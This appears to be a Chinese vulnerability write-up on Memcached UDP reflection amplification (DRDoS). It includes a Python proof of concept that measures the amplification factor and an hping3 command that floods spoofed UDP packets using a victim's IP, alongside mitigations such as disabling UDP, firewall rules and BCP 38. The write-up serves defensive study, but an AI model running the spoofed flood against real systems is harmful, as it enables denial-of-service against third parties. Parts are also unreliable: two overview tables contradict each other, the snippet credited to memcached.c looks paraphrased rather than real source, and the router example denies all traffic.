一、漏洞简介¶
1.1 漏洞背景¶
分布式反射拒绝服务攻击(Distributed Reflection Denial of Service,DRDoS)利用 Memcached 的 UDP 协议特性,将请求数据包的源 IP 伪造成受害者 IP,使大量 Memcached 服务器向受害者发送响应数据,造成带宽耗尽。
2018 年 2 月,GitHub 遭受了史上最大的 DDoS 攻击(1.35 Tbps),攻击者利用了暴露在公网的 Memcached 服务器进行 DRDoS 攻击。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | 暂无统一编号 |
| 危害等级 | 暂未找到权威信息 |
| 漏洞类型 | DRDoS 放大攻击 |
| 披露时间 | 暂未找到权威信息 |
| 影响组件 | Memcached 安全 |
| 属性 | 描述 |
|---|---|
| CVE编号 | 无特定 CVE(协议设计问题) |
| 危害等级 | 严重 |
| CVSS评分 | 8.6 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| 漏洞类型 | DRDoS 放大攻击 |
| 放大倍数 | 最高可达 51,000 倍 |
核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。
二、影响范围¶
2.1 受影响的版本¶
- 所有启用 UDP 协议且暴露在公网的 Memcached 版本
2.2 不受影响的版本¶
- 禁用 UDP 协议的版本(使用
-U 0参数) - 仅监听本地或内网的版本
- 正确配置防火墙的部署
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Memcached 启用 UDP 协议(默认端口 11211)
- 服务暴露在公网
- 防火墙未过滤 UDP 流量
- 攻击者能够伪造源 IP 地址
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
DRDoS 攻击流程:
1. 攻击者扫描互联网,发现开放的 Memcached UDP 服务
2. 攻击者构造请求包,源 IP 伪造成受害者 IP
3. 请求发送到大量 Memcached 服务器
4. Memcached 服务器将响应发送给受害者(反射)
5. 由于响应数据远大于请求,形成放大效应
放大倍数计算: - 典型请求:15 字节 - 典型响应:750,000 字节(存储大量数据的情况) - 放大倍数:750,000 / 15 ≈ 50,000 倍
Memcached UDP 协议格式:
Request Header (8 bytes):
+----------------+----------------+----------------+----------------+
| Request ID (2) | Sequence Num(2)| Total Pkts (2) | Reserved (2) |
+----------------+----------------+----------------+----------------+
| Binary Protocol Request Body... |
+----------------+----------------+----------------+----------------+
3.2 源码层面的根因分析(结合源码与补丁对比)¶
在 memcached.c 中,UDP 支持代码:
// UDP 监听设置
if (settings.udpport) {
// 创建 UDP socket
if (server_socket(settings.inter, settings.udpport,
transport_udp, base) != 0) {
// 错误处理
}
}
// UDP 数据包处理
static void drive_udp(conn *c) {
// 直接处理请求,无源 IP 验证
// 响应发送到数据包中的源地址
if (c->request_addr_size > 0) {
sendto(c->sfd, c->wbuf, c->wbytes, 0,
(struct sockaddr *)&c->request_addr,
c->request_addr_size);
}
}
关键问题:
1. UDP 协议本身无连接,无法验证源 IP
2. Memcached 未对 UDP 请求进行速率限制
3. stats 等命令会返回大量数据
四、漏洞复现(可选)¶
4.1 环境搭建¶
警告:仅在授权的测试环境中进行
# 测试服务器启动 Memcached 并启用 UDP
memcached -d -u memcache -p 11211 -U 11211 -l 0.0.0.0
# 验证 UDP 端口
netstat -anup | grep 11211
4.2 PoC 演示与测试过程¶
测试脚本(仅用于授权测试):
#!/usr/bin/env python3
import socket
import struct
# Memcached UDP 请求头
def build_udp_header(request_id):
# Request ID (2) + Sequence Number (2) + Total Packets (2) + Reserved (2)
return struct.pack("!HHHH", request_id, 0, 1, 0)
# 构造 stats 命令
def build_stats_request():
header = build_udp_header(1)
# Binary protocol stats command
# Magic (1) + Opcode (1) + Key Length (2) + Extras (1) +
# Data Type (1) + Status (2) + Body Length (4) + Opaque (4) + CAS (8)
body = struct.pack("!BBHBBHIIQ",
0x80, # Request magic
0x10, # Stats opcode
0, # Key length
0, # Extras length
0, # Data type
0, # VBucket ID
0, # Body length
0, # Opaque
0) # CAS
return header + body
# 测试放大效果
def test_amplification(target_ip, target_port=11211):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
request = build_stats_request()
print(f"[*] Sending {len(request)} bytes request")
sock.sendto(request, (target_ip, target_port))
response, addr = sock.recvfrom(65535)
print(f"[+] Received {len(response)} bytes response")
print(f"[+] Amplification factor: {len(response) / len(request):.2f}x")
sock.close()
if __name__ == "__main__":
import sys
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_ip>")
sys.exit(1)
test_amplification(sys.argv[1])
使用 hping3 测试(授权环境):
# 发送伪造源 IP 的 UDP 包到 Memcached
# 警告:这是攻击行为,仅用于授权测试
sudo hping3 --udp -p 11211 --flood --spoof <victim_ip> <memcached_server>
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
- 升级到 Memcached 1.5.x 或更新版本
- 新版本默认不启用 UDP
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:禁用 UDP 协议
# 启动时禁用 UDP
memcached -d -u memcache -U 0
# 或在配置文件中设置
# /etc/memcached.conf
-U 0
方案二:防火墙过滤
# 阻断外部 UDP 访问
iptables -A INPUT -p udp --dport 11211 -j DROP
# 仅允许内网访问
iptables -A INPUT -p udp --dport 11211 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p udp --dport 11211 -j DROP
方案三:网络层面防护
# 在边界路由器上实施源 IP 验证(BCP 38)
# Cisco IOS 示例
access-list 101 deny ip any any
interface Serial0/0
ip verify unicast source reachable-via any allow-default
# 或使用 uRPF (Unicast Reverse Path Forwarding)
方案四:速率限制
# 使用 iptables 限制连接速率
iptables -A INPUT -p udp --dport 11211 -m limit --limit 10/s --limit-burst 20 -j ACCEPT
iptables -A INPUT -p udp --dport 11211 -j DROP
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Memcached DDOS 防护指南: https://github.com/memcached/memcached/wiki/DDOS
- GitHub 关于 1.35Tbps 攻击的公告: https://github.blog/2018-03-01-ddos-incident-report/
6.2 其他技术参考资料¶
- US-CERT TA14-017A: Understanding Denial-of-Service Attacks
- Cloudflare DRDoS 分析: https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/
- Akamai 攻击分析报告